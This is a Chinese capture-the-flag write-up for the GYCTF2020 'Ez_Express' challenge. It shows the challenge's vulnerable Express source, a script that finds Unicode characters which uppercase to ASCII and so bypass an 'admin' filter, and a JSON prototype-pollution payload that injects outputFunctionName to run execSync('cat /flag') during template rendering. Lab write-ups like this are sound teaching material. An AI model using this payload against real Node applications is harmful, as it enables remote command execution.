[GYCTF2020]Ez_Express
根目录下载www.zip
Index.js
var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
function safeKeyword(keyword) {
if(keyword.match(/(admin)/is)) {
return keyword
}
return undefined
}
router.get('/', function (req, res) {
if(!req.session.user){
res.redirect('/login');
}
res.outputFunctionName=undefined;//初始状态为空未定义
res.render('index',data={'user':req.session.user.user});
});
router.get('/login', function (req, res) {
res.render('login');
});
router.post('/login', function (req, res) {
if(req.body.Submit=="register"){
if(safeKeyword(req.body.userid)){
res.end("<script>alert('forbid word');history.go(-1);</script>")
}
req.session.user={
'user':req.body.userid.toUpperCase(),//fuzz可以发现存在特殊字符,大写为I和S
'passwd': req.body.pwd,
'isLogin':false
}
res.redirect('/');
}
else if(req.body.Submit=="login"){
if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
req.session.user.isLogin=true;
}
else{
res.end("<script>alert('error passwd');history.go(-1);</script>")
}
}
res.redirect('/'); ;
});
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});
router.get('/info', function (req, res) {
res.render('index',data={'user':res.outputFunctionName});
})
module.exports = router;
测试脚本:
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<script type="text/javascript">
var arr = new Array();
for(var i = 0;i < 26;i++){
arr[i] = new Array();
}
for(var i = 0;i < 65536;i++){
j = String.fromCharCode(i).toUpperCase();
if(j.length == 1){
c = j.charCodeAt(0);
if(c>64&&c<91){
l = arr[c-65].length;
arr[c-65][l] = i;
}
}
}
for(var i = 0;i < 26;i++){
document.write("<p>"+String.fromCharCode(i+65)+":</p>");
document.write("<p>");
for(j = 0;j < arr[i].length;j++){
document.write(arr[i][j]+",");
}
document.write("</p>");
}
</script>
</body>
</html>
Payload:
修改content-type 为application/json
{"lua":"a","__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""}
最后访问/info
利用原形链污染赋值原始对象使其存在目标属性,并在赋值的时候将目标属性的值设置为恶意代码,最后渲染的时候进行代码执行